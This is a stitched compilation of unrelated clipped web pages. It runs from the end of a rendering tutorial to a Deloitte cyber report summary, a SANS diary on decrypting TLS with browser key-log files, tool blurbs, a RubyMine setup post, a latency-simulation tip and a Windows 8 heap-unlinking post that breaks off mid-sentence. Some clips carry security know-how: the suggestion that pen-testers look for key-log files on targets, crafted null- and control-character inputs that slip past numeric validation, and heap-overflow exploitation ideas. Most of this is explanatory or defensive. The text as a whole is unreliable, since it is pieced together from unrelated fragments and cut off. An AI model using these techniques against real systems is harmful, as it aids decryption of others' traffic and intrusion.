color will usually not do, and the shading system must take into account the
shape and thickness of the object being lit. If they are thin enough, such
objects often see light scattering out the back side and can then be called
translucent. If the diffusion is even lower yet \(in for example, glass\) then
almost no scattering is evident at all and entire images can pass through an
object from one side to another intact. These behaviors are different enough
from the typical “close to the surface” diffusion that unique shaders are
usually needed to simulate them.

### Energy Conservation

With these descriptions we now have enough information to draw an important
conclusion, which is that _reflection and diffusion are mutually exclusive_.
This is because, in order for light to be diffused, light must first penetrate
the surface \(that is, fail to reflect\). This is known in shading parlance as
an example of “energy conservation”, which just means that the light leaving a
surface is never any brighter than that which fell upon it originally.

This is easy to enforce in a shading system: one simply subtracts reflected
light before allowing the diffuse shading to occur. This means highly
reflective objects will show little to no diffuse light, simply because little
to no light penetrates the surface, having been mostly reflected. The converse
is also true: if an object has bright diffusion, it cannot be especially
reflective.

<img src='img/Temp2_993.png' />

Energy conservation of this sort is an important aspect of physically-based
shading. It allows the artist to work with reflectivity and albedo values for
a material without accidentally violating the laws of physics \(which tends to
look bad\). While enforcing these constraints in code isn’t strictly necessary
to producing good looking art, it does serve a useful role as a kind of “nanny
physicist” that will prevent artwork from bending the rules too far or
becoming inconsistent under different lighting conditions.

### Metals

Electrically conductive materials, most notably metals, are deserving of
special mention at this point for a few reasons.

Firstly, they tend to be much more reflective than insulators \(non-
conductors\). Conductors will usually exhibit reflectivities as high as
60-90%, whereas insulators are generally much lower, in the 0-20% range. These
high reflectivities prevent most light from reaching the interior and
scattering, giving metals a very “shiny” look.

Secondly, reflectivity on conductors will sometimes vary across the visible
spectrum, which means that their reflections appear tinted. This coloring of
reflection is rare even among conductors, but it does occur in some everyday
materials \(e.g. gold, copper, and brass\). Insulators as a general rule do
not exhibit this effect, and their reflections are uncolored.

Finally, electrical conductors will usually absorb rather than scatter any
light that penetrates the surface. This means that in theory conductors will
not show any evidence of diffuse light. In practice however there are often
oxides or other residues on the surface of a metal that will scatter some
small amounts of light.

It is this duality between metals and just about everything else that leads
some rendering systems to adopt “metalness” as a direct input. In such systems
artists specify the degree to which a material behaves as a metal, rather than
specifying only the albedo & reflectivity explicitly. This is sometimes
preferred as a simpler means of creating materials, but is not necessarily a
characteristic of physically-based rendering.

### Fresnel

Augustin-Jean Fresnel seems to be one of those old dead white guys we are
unlikely to forget, mainly because his name is plastered on a range of
phenomena that he was the first to accurately describe. It would be hard to
have a discussion on the reflection of light without his name coming up.

In computer graphics the word Fresnel refers to differing reflectivity that
occurs at different angles. Specifically, light that lands on a surface at a
grazing angle will be much more likely to reflect than that which hits a
surface dead-on. This means that objects rendered with a proper Fresnel effect
will appear to have brighter reflections near the edges. Most of us have been
familiar with this for a while now, and its presence in computer graphics is
not new. However, PBR shaders have made popular a few important corrections in
the evaluation of Fresnel’s equations.

The first is that for all materials, reflectivity becomes total for grazing
angles – the “edges” viewed on any smooth object should act as perfect
\(uncolored\) mirrors, no matter the material. Yes, really – _any substance
can act as a perfect mirror_ if it is smooth and viewed at the right angle\!
This can be counterintuitive, but the physics are clear.

The second observation about Fresnel properties is that the curve or gradient
between the angles does not vary much from material to material. Metals are
the most divergent, but they too can be accounted for analytically.

What this means for us is that, assuming realism is desired, artist control
over Fresnel behavior should generally be _reduced_ , rather than expanded. Or
at the very least, we now know where to set our default values\!

This is good news of a sort, because it can simplify content generation. The
shading system can now handle the Fresnel effect almost entirely on its own;
it has only to consult some of the other pre-existing material properties,
such as gloss and reflectivity.

<img src='img/Temp2_996.png' />

A PBR workflow has the artist specify, by one means or another, a “base
reflectivity”. This provides the minimum amount and color of light reflected.
The Fresnel effect, once rendered, will add reflectivity on top of the artist
specified value, reaching up to 100% \(white\) at glancing angles. Essentially
the content describes the base, and Fresnel’s equations take over from there,
making the surface more reflective at various angles as needed.

There is one big caveat for the Fresnel effect – it quickly becomes less
evident as surfaces become less smooth. More information on this interaction
will be given a bit later on.

### Microsurface

The above descriptions of reflection and diffusion both depend on the
orientation of the surface. On a large scale, this is supplied by the shape of
the mesh being rendered, which may also make use of a normal map to describe
smaller details. With this information any rendering system can go to town,
rendering diffusion and reflection quite well.

However, there is one big piece still missing. Most real-world surfaces have
very small imperfections: tiny grooves, cracks, and lumps too little for the
eye to see, and much too small to represent in a normal map of any sane
resolution. Despite being invisible to the naked eye, these microscopic
features nonetheless affect the diffusion and reflection of light.

<img src='img/Temp2_995.png' />

Microsurface detail has the most noticeable effect on reflection \(subsurface
diffusion is not greatly affected and won’t be discussed further here\). In
the diagram above, you can see parallel lines of incoming light begin to
diverge when reflected from a rougher surface, as each ray hits a part of the
surface with a different orientation. The analog in the ball/wall analogy
would be a cliffside or something similarly uneven: the ball is still going to
bounce off but at an unpredictable angle. In short, the rougher the surface
gets, the more the reflected light will diverge or appear “blurry”.

Unfortunately, evaluating each microsurface feature for shading would be
prohibitive in terms of art production, memory use, and computation. So what
are we to do? It turns out if we give up on describing microsurface detail
directly and instead specify a general measure of roughness, we can write
fairly accurate shaders that produce similar results. This measure is often
referred to as “Gloss”, “Smoothness”, or “Roughness”. It can be specified as a
texture or as a constant for a given material.

This microsurface detail is a very important characteristic for any material,
as the real world is full of a wide variety of microsurface features. Gloss
mapping is not a new concept, but it does play a pivotal role in physically-
based shading since microsurface detail has such a big effect on light
reflection. As we will soon see, there are several considerations relating to
microsurface properties that a PBR shading system improves upon.

### Energy Conservation \(Again\)

As our hypothetical shading system is now taking microsurface detail into
account, and spreading reflected light appropriately, it must take care to
reflect the correct amount of light. Regrettably, many older rendering systems
got this wrong, reflecting too much or too little light, depending on the
microsurface roughness.

When the equations are properly balanced, a renderer should display rough
surfaces as having larger reflection highlights which appear dimmer than the
smaller, sharper highlights of a smooth surface. It is this apparent
difference in brightness that is key: both materials are reflecting the same
amount of light, but the rougher surface is spreading it out in different
directions, whereas the smoother surface is reflecting a more concentrated
“beam”:

<img src='img/Temp2_994.png' />

Here we have a second form of energy conservation that must be maintained, in
addition to the diffusion/reflection balance described earlier. Getting this
right is one of the more important points required for any renderer aspiring
to be “physically-based”.

### All Hail Microsurface

And it is with the above knowledge that we come to a realization, a big one
actually: _microsurface gloss directly affects the apparent brightness of
reflections_. This means an artist can paint variations directly into the
gloss map – scratches, dents, abraded or polished areas, whatever – and a PBR
system will display not just the change in reflection shape, but relative
intensity as well. No “spec mask”/reflectivity changes required\!

This is significant because two real world quantities that are physically
related – microsurface detail and reflectivity – are now properly tied
together in the art content and rendering process for the first time. This is
much like the diffusion/reflection balancing act described earlier: we could
be authoring both values independently, but since they are related, the task
is only made more difficult by attempting to treat them separately.

Further, an investigation of real world materials will show that reflectivity
values do not vary widely \(see the earlier section on conductivity\). A good
example would be water and mud: both have very similar reflectivity, but since
mud is quite rough and the surface of a puddle is very smooth, they appear
very different in terms of their reflections. An artist creating such a scene
in a PBR system would author the difference primarily through gloss or
roughness maps rather than adjusting reflectivity, as shown below:

<img src='img/Temp2_998.png' />

Microsurface properties have other subtle effects on reflection as well. For
example, the “edges-are-brighter” Fresnel effect diminishes somewhat with
rougher surfaces \(the chaotic nature of a rough surface ‘scatters’ the
Fresnel effect, preventing the viewer from being able to clearly resolve it\).
Further, large or concave microsurface features can “trap” light – causing it
to reflect against the surface multiple times, increasing absorption and
reducing brightness. Different rendering systems handle these details in
different ways and to different extents, but the broad trend of rougher
surfaces appearing dimmer is the same.

### Conclusion

There is of course much more to say on the topic of physically-based
rendering; this document has served only as a basic introduction. If you
haven’t already, read Joe Wilson’s tutorial on creating PBR artwork. For those
wanting more technical information, I could recommend several readings:

  * John Hable’s excellent blog post: Everything Is Shiny
  * John Hable’s even better blog post: Everything Has Fresnel
  * Sébastien Lagarde’s summary of Rendering _Remember Me_
  * Come to think of it, all of Sébastien Lagarde’s Blog is good stuff
  * The SIGGRAPH 2010 course on PBR
  * Always worth mentioning: The Importance of Being Linear

If there are any burning questions still left unanswered, I can usually be
reached on twitter.

**< \- BACK TO TUTORIALS**

### Share:

# Deloitte Global Defense Outlook 2014: Cyber Operations Emerge as a Global Threat | Hackmageddon.com
**Created:**| _6/27/2014 9:21:52 AM_  
---|---  
**Updated:**| _6/27/2014 9:21:52 AM_  
**Author:**| __  
**Tags:**| _report_  
  

# Deloitte Global Defense Outlook 2014: Cyber Operations Emerge as a Global
Threat

<img src='img/Temp2_2094.png' alt='Cyber Incident' />

Cyber incidents by defense spending type, 2013. Source: Deloitte Global
Defense Outlook 2014

Deloitte has just released the Global Defense Outlook 2014. This independently
developed report examines policies, practices, and trends affecting the
defense ministries of 50 nations, and has been developed with publicly
available information along with interviews with officials in government and
industry, and analyses by Deloitte’s global network of defense professionals.

A section of the report is dedicated to Cyber Operations, and, as one of their
publicly available data sources, Deloitte used data from my blog.

The structured analysis of the data confirms a trend: Cyber-operations are
nowadays considered a national security threat across the globe.

  * The global threat to computer systems and information networks is earning more attention and policy response from defense ministries worldwide.
  * More than 60 percent of cyberattacks are directed against other Top 50 nations and that more than 20 percent of cyberattacks are directed against non-Top 50 nations. Developing economy status does not protect a nation against the prospect of a cyberattack.
  * Among the higher-income nations in the Top 50, industrial targets account for one-half to two-thirds of cyberattacks, while among the lower-income nations in the Top 50, most cyberattacks are directed against government targets. This difference may reflect the relatively high level of security and defensive capability around government systems in higher-income nations and the availability of potentially lucrative industrial targets. The difference may also reflect the relatively higher number of state-owned enterprises in the lower-income nations.
  * Cyber Operations are no longer the domain of higher-income Top 50 nations.

<img src='img/Temp2_2093.png' alt='Cyber Incidents Target' />

Cyber incidents by target and defense spending type, 2013. Source: Deloitte
Global Defense Outlook 2014

A really interesting reading, and not only for its implications in Cyber
Space. The complete report can be found at this link.

About these ads

# Psst. Your Browser Knows All Your Secrets. | Diary Discussions | Community Forums | SANS Internet Storm Center; Cooperative Network Security Community - Internet Security
**Created:**| _8/26/2013 3:29:24 PM_  
---|---  
**Updated:**| _8/26/2013 4:33:19 PM_  
**Author:**| __  
**Tags:**| _network-security browser ssl_  
  

# **S** ANS Internet Storm Center; Cooperative Network Security Community****

Psst**.** Your Browser Knows All Your Secrets**.**

> Quoting Diary : This is a "guest diary" submitted by Sally Vandeven**.** We
> will gladly forward any responses or please use our comment/forum section to
> comment publically**.** Sally is currently enrolled in the SANS Masters
> Program **.** I got to wondering one day how difficult it would be to find
> the crypto keys used by my browser and a web server for TLS sessions**.** I
> figured it would involve a memory dump, volatility, trial and error and
> maybe a little bit of luck**.** So I started looking around and like so many
> things in life….all you have to do is ask**.** Really. Just ask your browser
> to give you the secrets and it will**\!** As icing on the cake, Wireshark
> will read in those secrets and decrypt the data for you**.** Here’s a quick
> rundown of the steps: Set up an environment variable called SSLKEYLOGFILE
> that points to a writable flat text file**.** Both Firefox and Chrome
> \(relatively current versions\) will look for the variable when they start
> up**.** If it exists, the browser will write the values used to generate TLS
> session keys out to that file**.** The file contents looks like this: <img
> src='img/Temp2_6472.png' alt='SSL Key File' /> 64 byte Client Random Values  
>  96 byte Master Secret  
>  16 byte encrypted pre-master secret  
>  96 bytes pre-master secret The Client\_Random entry is for Diffie-Hellman
> negotiated sessions and the RSA entry is for sessions using RSA or DSA key
> exchange**.** If you have the captured TLS encrypted network traffic, these
> provide the missing pieces needed for decryption**.** Wireshark can take
> care of that for you. Again, all you have to do is ask**.** <img
> src='img/Temp2_6473.png' alt='Wireshark SSL Session' /> This is an encrypted
> TLS session, before giving Wireshark the secrets**.** Point Wireshark at
> your file $SSLKEYLOGFILE**.** Select Edit -> Preferences -> Protocols -> SSL
> and then OK**.** <img src='img/Temp2_6476.png' alt='Wireshark SSL
> Configuration' /> To see the decrypted data, use the display filter “ssl &&
> http”**.** To look at a particular TCP session, right click on any of the
> entries and choose to “Follow SSL Stream”**.** This really means “Follow
> Decrypted SSL Stream”**.** Notice the new tab at the bottom labeled
> “Decrypted SSL data”**.** Incidentally, if you “Follow TCP Stream” you get
> the encrypted TCP stream**.** <img src='img/Temp2_6474.png' alt='wireshark
> decrypted session' /> Wireshark’s awesome decryption feature**.** Below is a
> sample of a decrypted SSL Stream**.** It contains a login attempt with
> username and password, some cookies and other goodies that web servers and
> browsers commonly exchange**.** <img src='img/Temp2_6475.png'
> alt='Reassembled SSL Sesion' /> Remember: if you have a file with keys in it
> and the captured data on your system then anyone that can get their hands on
> these can decrypt too**.** Hey, if you are a pen-tester you might try
> setting be on the lookout for an $SSLKEYLOG variable on your targets**.**
> Interesting**.** Give it a try but, as always, get written permission from
> yourself before you begin**.** Thanks for reading**.** This exploration
> turned into a full blown paper that you can find here:  
>  http://www.sans.org/reading-room/whitepapers/authentication/ssl-tls-whats-
> hood-34297
| Alex Stanford  
<img
src='https://isc.sans.edu/gravatar_cache/cache/isc/42e2dc528838eed4aae8a5fa6b4a322f'
/>  
14 Posts  
ISC Handler  
---|---  
Reply | 4 days ago  
To see traffic, you can use Firefox LiveHttpHeaders plugin**.**|  Paul Szabo  
<img
src='https://isc.sans.edu/gravatar_cache/cache/isc/a6f7401e9e48c852f898cf6189e4396d'
/>  
4 Posts  
Reply  Quote | 4 days ago  
Register  or Log In  to start participating in the conversation**\!**

Top of page

****

# sitaramc/gitolite - GitHub

**Created:**| _4/6/2011 8:28:35 AM_  
---|---  
**Updated:**| _4/10/2011 9:56:56 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup Git collab_  
  

Gitolite allows you to setup a centralised git server, with very fine-grained
access control and many \(many\!\) more powerful features. For a short intro,
plus links to online docs, click the "wiki" link you see a little above or a
little below this blurb. \[Please use email to contact me, not github’s
messaging interface. Not even for a pull request. See the "wiki" for details\]
— Read more

Cancel

http://wiki.github.com/sitaramc/gitolite/

# nezha-dt/nezha

**Created:**| _9/4/2017 9:46:08 AM_  
---|---  
**Updated:**| _9/4/2017 9:46:08 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# NEZHA

NEZHA is an efficient and domain-independent differential fuzzer developed at
Columbia University. NEZHA exploits the behavioral asymmetries between
multiple test programs to focus on inputs that are more likely to trigger
logic bugs.

## What?

NEZHA features several runtime diversity-promoting metrics used to generate
inputs for multi-app differential testing. These metrics are described in
detail in the 2017 IEEE Symposium on Security and Privacy \(Oakland\) paper -
NEZHA: Efficient Domain-Independent Differential Testing.

# Getting Started

The current code is a WIP to port NEZHA to the latest libFuzzer and is non-
tested. Users who wish to access the code used in the NEZHA paper and the
respective examples should access v-0.1.

This repo follows the format of libFuzzer's fuzzer-test-suite. For a simple
example on how to perform differential testing using the NEZHA port of
libFuzzer see differential\_fuzzing\_tutorial.

# Support

We welcome issues and pull requests with new fuzzing targets.

  

# Curphey 2.0 » Installing and Configuring RubyMine, SSH and GitHub under
Cygwin

**Created:**| _7/12/2010 5:34:43 AM_  
---|---  
**Updated:**| _7/12/2010 5:35:03 AM_  
**Author:**| __  
**Tags:**| _ruby Metasploit_  
  

## Installing and Configuring RubyMine, SSH and GitHub under Cygwin

By Mark Curphey, July 11, 2010

My two previous posts Installing and Configuring Ruby 1.9 from Source Using
Cygwin and Installing and Configuring Rails and MySQL under Cygwin are proving
to be useful to both me and some friends as a reference for getting a Rails
development environment up and running on Windows quickly so this is the last
in the series aimed at getting the IDE installed and configured to use GitHub
for source control.

I have messed around with a number of the Ruby IDE’s \(e-TextEditor, NetBeans
& Aptana\) and settled for RubyMine. If you are a .NET developer it’s the same
folks who make Re-Sharper.

Installation is easy. I am using the EAP build 96.552.

Once installed there a few things worth checking. The first is making sure you
are pointing at the right version of the Ruby interpreter. From the file menu
you select Settings and navigate to the Ruby SDK and Gems section. Given I
have setup everything under Cygwin I want to make sure I targeting the Ruby
interpreter in my Cygwin environment.

<img src='img/Temp2_1734.png' width='237' height='244' alt='image' />

<img src='img/Temp2_1735.png' width='244' height='154' alt='image' />

After this I can now install Gems from within the IDE such as the beta of
Rails 3.0.

<img src='img/Temp2_1733.png' width='244' height='152' alt='image' />

Next up is installing and configuring Git and using GitHub to manage code. Git
will use SSH to setup a secure tunnel to GitHub. RubyMine comes with a built
in SSH client but again in keeping with all running under Cygwin I change it
to use the native SSH. You can also check to make sure that RubyMine can see
the Git installed under Cygwin.

<img src='img/Temp2_1729.png' width='244' height='101' alt='image' />

When you have your account on GitHub you will see under Account Settings your
SSH keys.

<img src='img/Temp2_1730.png' width='244' height='173' alt='image' />

To generate your key simply go to the Cygwin prompt and type ssh-keygen and
follow the simple prompts.

<img src='img/Temp2_1731.png' width='244' height='54' alt='image' />

After you have completed the section you will need to open the public key and
paste it into the GitHub UI. There is a great tutorial on GitHub about doing
this http://help.github.com/msysgit-key-setup/,. Before you do anything in
RubyMine you need to SSH to GitHub and setup the Cygwin SSH to add the site to
the list of hosts that it trusts. If you don’t do this before trying to clone
a repository it will just hang \!

<img src='img/Temp2_1732.png' width='244' height='56' alt='image' />

Once completed you can test your setup by simply create a repository on GitHub
and copy the clone URL. In RubyMine go to Version Control and clone
repository. If everything has gone well it will check it out and you will be
up and running\!

# W32.Silon Malware Analysis

**Created:**| _11/3/2009 10:23:40 PM_  
---|---  
**Updated:**| _11/3/2009 10:23:57 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  
<img src='img/Temp2_9027' />

# Don’t trust a string based on TryParse or IsNumeric result\!
\(.Net/VBScript\)

**Created:**| _10/30/2012 10:45:41 AM_  
---|---  
**Updated:**| _10/30/2012 10:45:41 AM_  
**Author:**| __  
**Tags:**| _.Net programming bugs_  
  

## Don’t trust a string based on TryParse or IsNumeric result\!
\(.Net/VBScript\)

_On October 17, 2012, inSecurity Articles, by Soroush Dalili _

According to MSDN, “ _IsNumeric_ returns a Boolean value indicating whether an
expression can be evaluated as a number”, and _\(Numerical
Datatype\).TryParse_ converts the string representation of a number to its
relevant numerical equivalent. A return Boolean value indicates whether the
conversion succeeded or failed.

I have seen several cases where the developers were using TryParse or
isNumeric only for validation, and they were not using a numeric variable at
all; however, this could still cause functional and/or security issues in
certain cases.

## What is wrong with TryParse or IsNumeric then?\!

There is nothing wrong with these functions if they are used correctly. In
fact, these functions should not be used for validation only; they tell us if
we can convert a string to its numerical format, and therefore, we can use a
proper numerical variable instead of the string.

However, _\(numerical Datatype\).TryParse_ is more useful than _IsNumeric_ and
can create the numerical equivalent as an output which can be used safely
afterwards; it can also accept the permitted format\(s\) and the required
culture format.

## When can it go wrong?

From TryParse or IsNumeric point of view, a string can still be numeric even
if it has some control characters or it follows a specific format as it can
still be converted to a number. Therefore, the original string can be
completely different in length and format from its equivalent numeric value.
Now, if you use the original string when the results of these functions are
true, we may have issues based on the destination system that uses them and
trusts your validation. In real examples, I have seen a denial of service
because of having a Null character in a serialized XML in the memory, or a
denial of service because of sending a long string to a C++ component which
did not have any validation and trusted the provided data.

The following table shows several test cases that can be combined as well \(I
have used URLEncoded values for the space and control characters\):

**String**| **IsNumeric?**| **Double.TryParse?**| **Converted Number**|
**Comment\(s\)**  
---|---|---|---|---  
**001.0000**|  True| True| 1| decimal symbol based on the regional settings of
the server  
**$10**|  True| False| 10| Currency symbol based on the regional settings of
the server.  
**1,,2,,,3,,**|  True| True| 123| Digit grouping symbol based on the regional
settings of the server. Can be created by HPP too.  
**-10.0**|  True| True| -10| Negative symbol based on the regional settings of
the server. It could be a positive sign.  
**\(10\)**|  True| False| -10| Negative symbol based on the regional settings
of the server.  
**10-**|  True| False| -10| Negative symbol based on the regional settings of
the server. It could be a positive sign.  
**1e2**|  True| True| 100| String length can be less than the number’s length  
**%20%091**|  True| True| 1| Space characters \(09-0D and 20\)  
**1%20%00%00**|  True| True| 1| Space characters \(09-0D and 20\) followed by
Null Character\(s\)  
**%26hff**|  True| False| 255| &h and &o can be used in VBScript to represent
a number in Hex or Octal.  
**%0B%09%20-0001,,,,2.8e0002%09%20%0C%00%00**|  True| True| -1280| A
combination  
**%0B$%09%20\(0001,,,,2.8e0002%09%20\)%0C%00%00**|  True| False| -1280|
Another combination  
You can try IsNumeric function by using the following link:

http://sdl.me/NumericTest/IsNumericTester.ashx?input=1

Source Code: http://sdl.me/NumericTest/IsNumericTester.ashx.vb.txt

You can try Double.TryParse function by using the following link:

http://sdl.me/NumericTest/DoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/DoubleTryParseTester.ashx.cs.txt

## Solution?

In .Net, _\(Numeric Data Type\).TryParse_ automatically updates the relevant
numeric variable for you that can be used later; it also accepts permitted
format\(s\) and the required culture format of the input which is highly
recommended to be used when you are looking for a specific format.

Example:

http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx.cs.txt

However, if you are a fan of using _IsNumeric_ in VB, just make sure that you
create a relevant numeric variable based on the input and convert the string
to a number.

Another solution that may reduce the performance is validation by using a
Regular Expression to check the numeric inputs in string. This method can be
more useful if you are using different technologies \(for example Java and
.Net\) at the same time to maintain consistency.

# Add latency to localhost | daniel.haxx.se
**Created:**| _3/21/2019 8:19:28 AM_  
---|---  
**Updated:**| _3/21/2019 8:19:28 AM_  
**Author:**| _wishi_  
**Tags:**| _network-security Latency_  
  

  

Linux, Network

# Add latency to localhost

December 14, 2010 | Daniel Stenberg |  | 15 Comments | 
Pádraig Brady taught me a great trick in a comment to a previous blog post and
it was so neat I feel a need to highlight it further as it also makes it
easier for me to find it again later\!

To simulate a far away server, add RTT time to the localhost device. For
example if we add 100 milliseconds \(which then makes 200ms ping time to
localhost\):

$ tc qdisc add dev lo root handle 1:0 netem delay 100msec

Restore it back to normal again with:

$ tc qdisc del dev lo root

>
[code]

>     tc qdisc add dev lo root handle 1:0 netem delay 100msec
[/code]

Restore it back to normal again with:

>
[code]

>     tc qdisc del dev lo root
[/code]

In addition, add a random packet loss. 500ms latency with 2.5% packet loss:

[code]

    tc qdisc add dev lo root handle 1:0 netem delay 250msec loss 2.5%
[/code]

  

LinuxlocalhostNetwork

# Post navigation

Previous PostFrom Magic to Desire HDNext PostByte ranges for FTP

##  15 thoughts on “Add latency to localhost”

  1. <img src='img/d69ec71c7ae877d56978dcf28fa58842.png' width='34' height='34' /> **urssur**
December 14, 2010 at 18:31

That´s an interesting approach , but why not host the site on a local server ,
as in local in the country / town / at least continent ?

I get the benefits of simulating lag, but we should aim to reduce it not
accept it :D.

Best of luck \!

  2. <img src='img/0646a00ddd9cfe39481e4c15ba90709c.png' width='34' height='34' /> **Ted**
December 14, 2010 at 19:15

How do you add latency to localhost on Windows?

  3. <img src='img/84d9c06ad23348c26556512289dfe6a4.jpg' width='34' height='34' /> **Eric Ryan Harrison**
December 14, 2010 at 19:21

Nice post. I created a simple bash script to make this a little more flexible
and make it so that I didn’t have to remember the syntax since I’ll probably
only need to use this every once in a while.

https://gist.github.com/740829

Thanks again.

  4. <img src='img/6032246be8e32d14f25ec8fa829d9460.png' width='34' height='34' /> **Jeff Roberts**
December 14, 2010 at 19:52

Cool trick. Thanks for highlighting it <img src='' width='16' height='16'
alt='🙂' />

  5. <img src='img/dbf187b5b45c400649ed7f946e8f00d6.jpg' width='34' height='34' /> **daniel**
December 14, 2010 at 22:32

@urssur: I assume you didn’t actually read the blog post I made the other day
about SFTP transfers over high latency connections? It’s a bless being able to
simulate such connections on your own systems instead of having to dig up a
system that actually features such a latency\! I don’t like high latencies,
but when I write network protocols for use in the real world…

@ted: everything in Windows is a pain so I expect this is too…

@Eric: oh, nice indeed. I may very well use exactly that here too. Thanks\!

  6. <img src='img/81e649868a7d1914a3c92b2af2d50993.png' width='34' height='34' /> **dude**
December 14, 2010 at 23:29

@Ted: Windows adds plenty of latency all on it’s own, dude.

  7. <img src='img/3fb1cb5f3d9bc4151df978091b1408c4.jpg' width='34' height='34' /> **Pete**
December 15, 2010 at 00:05

In reply to Ted’s Wndows question.. “Use IIS”.

  8. <img src='img/942b2fcc56a5d35322fbaa36100b364f.png' width='34' height='34' /> **iii**
December 15, 2010 at 06:06

Instead of making fun of Ted why not simply saying that you do not know… <img
src='' width='16' height='16' alt='😉' />

\*nix, open source, windows, Apple, iphone, … ayatollahs are boring…

  9. <img src='img/bfcd05175009c4a5f92083d3480dd7f9.jpg' width='34' height='34' /> **HGP**
December 15, 2010 at 09:01

RE: Windows. Very true. On Vista there are significant differences between
‘localhost’ and ‘127.0.0.1’ This was improved in 7 but the internal resolution
of localhost is still not as fast as it was in XP.

  10. <img src='img/dbf187b5b45c400649ed7f946e8f00d6.jpg' width='34' height='34' /> **daniel**
December 15, 2010 at 09:07

Let me also mention that I in fact blogged about Window’s amazingly slow
localhost a good while ago…

  11. <img src='img/e3a1e04ea16aa2e9081212ebe2de8649.png' width='34' height='34' /> **Josh**
December 15, 2010 at 13:37

On Windows \(for HTTP/S connections\) I use Charles debugger proxy which has a
latency setting.

  12. <img src='img/dbf187b5b45c400649ed7f946e8f00d6.jpg' width='34' height='34' /> **daniel**
December 15, 2010 at 13:58

@Josh: that’s indeed one way to accomplish something that in many cases is
similar, yes. At least if you’re dealing with something HTTP like.

But a HTTP/HTTPS proxy is actually not what I want for my case. I debugged a
SSH/SFTP implementation and the last thing I want then is to have it first go
through a proxy.

  13. <img src='img/bbf9f19d835920115be6a577361b8010.png' width='34' height='34' /> **Sampath**
December 15, 2010 at 13:59

@Eric: zero value \(0\) fits better to be used \(instead of “off”\) as an
option to disable.

  14. <img src='img/9923168c4364dbc192fbf892f5eff216.png' width='34' height='34' /> **Vladimir**
December 15, 2010 at 14:51

@Ted: for HTTP requests you also can use Fiddler on Windows.  
But if you need to perform more specific tasks \(like in Daniel’s case\) you
can try LANforge ICE Network Emulator \(www.candelatech.com\). But it’s not
free. Probably it provides functionality you need in trial version.  
\(Or install Linux? <img src='' width='16' height='16' alt='🙂' />

  15. <img src='img/5645000c2c15e1876fd40aacc06b9d21.png' width='34' height='34' /> **Tor**
December 15, 2010 at 17:34

Very interesting. One thing would be good to know: does it reset on a reboot?

Comments are closed.

# Recent Posts

  * Happy 21st, curl\! March 20, 2019
  * Looking for the Refresh header March 12, 2019
  * Julia’s cheat sheet for curl March 5, 2019
  * alt-svc in curl March 3, 2019
  * commercial curl support\! February 8, 2019
  * curl 7.64.0 – like there’s no tomorrow February 6, 2019
  * My 10th FOSDEM February 5, 2019

# Recent Comments

  * Eric Soukenka on Happy 21st, curl\!
  * Andrew Lambert on Happy 21st, curl\!
  * Georg Horn on Happy 21st, curl\!
  * Neil Matthew on Happy 21st, curl\!
  * Ant Bryan on Happy 21st, curl\!
  * Silvio Clécio on Happy 21st, curl\!
  * Daniel Stenberg on Looking for the Refresh header

# twitter

# daniel.haxx.se

I'm Daniel Stenberg, lead developer of curl. I'm tall, Swedish and grumpy.

I'm blogging about Internet protocols. Network hacking. curl and libcurl. Open
Source. Technology.

What you read here is my _personal_ opinions and views. You may think
differently. Organizations I'm involved with may have different stand-points
and people I work with or know may think differently.

December 2010 M | T | W | T | F | S | S  
---|---|---|---|---|---|---  
« Nov |  | Jan »  
| 1| 2| 3| 4| 5  
6| 7| 8| 9| 10| 11| 12  
13| 14| 15| 16| 17| 18| 19  
20| 21| 22| 23| 24| 25| 26  
27| 28| 29| 30| 31 |   
# Archive

Archive

  

# Building an Automated Behavioral Malware Analysis Environment using Open
Source Software - GIAC Certified Student Practical

**Created:**| _6/18/2009 10:43:12 PM_  
---|---  
**Updated:**| _6/18/2009 10:43:22 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_1195.gif' alt='GIAC' />

GREM Certified Professionals / GIAC Certified Professionals There are
currently 26084 Certified Professionals Download Paper

This page requires a browser that will support in-line frames.

# Software Schwachstellen

**Created:**| _3/19/2010 8:57:18 PM_  
---|---  
**Updated:**| _3/19/2010 8:57:44 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit presentation-material_  
  
<img src='img/Temp2_7619' />

# Windows 8 and Safe Unlinking in NTDLL

**Created:**| _7/20/2012 3:39:19 PM_  
---|---  
**Updated:**| _7/20/2012 3:39:19 PM_  
**Author:**| __  
**Tags:**| _Exploit windows environment Heap_  
  

**Windows 8 and Safe Unlinking in NTDLL**  
  
I've heard it been said that system allocator based heap exploitation is dead.  
Although the "arcane arts" of heap exploitation will never truely die out  
\(for instance research into kernel and custom allocators has been
profitable\),  
it is generally accepted that "application specific" approaches are the norm  
when exploiting heap overflows today\*, and that the value of reversing  
heap implementations is primarily in understanding allocator policy.  
  
One often overlooked technicality in all of this is that the process default  
heap \(LocalAlloc and HeapAlloc with a NULL handle\) is teeming with activity  
from the core system libraries, everything from GDI to cryptographic  
services. In effect this means that an overflow in a process default heap  
segment has a healthy range of potential target chunks, because you can attack  
not only the underlying application but the system dependencies of that  
application as well.  
  
The classical example of this was from 2005 when Nicolas Falliere realised
that  
CRITICAL\_SECTION objects were chained together in a doubly-linked list, and  
that when the application destroyed the critical section, the chain was  
"unlinked" in an unsafe manner. This meant that if an attacker could position  
an overflow prior to a critical section, and then trigger the destruction of a  
critical section, then an "almost arbitrary" pointer sized overwrite could  
occur in a position of the attacker's choosing.  
  
This type of unsafe linked-list removal wasn't unique to critical sections  
however, and a number of other library families \(and the kernel\) were
affected.  
You may have heard about the Windows 7 kernel "safe unlinking" efforts to  
reduce the number of unsafe list removals, particularly as it pertains to
kernel  
pools. Windows 8 appears to be doing similar work in user-space.  
  
Consider this snippet from NTDLL's RtlRemoveEntryHashTable in Windows 7:  
  
<img src='img/Temp2_9581.png' />  
  
The unchecked unlink is clear in the first four instructions. And now in
Windows 8:  
  
<img src='img/Temp2_9580.png' />  
  
We now see a check on the integrity of the forward and back pointers of the  
list node. In fact, as best as I can tell, NTDLL in Windows 8 doesn't have any  
unsafe unlinks anymore \(Windows XP and Windows 7 have at least 30\).  
  
So all of this prompted me to ask the question, are there _any_ unsafe  
doubly-linked list unlink operations left? The answer may surprise you: there  
are **999** of them\*\*. Although the results come back clean for many  
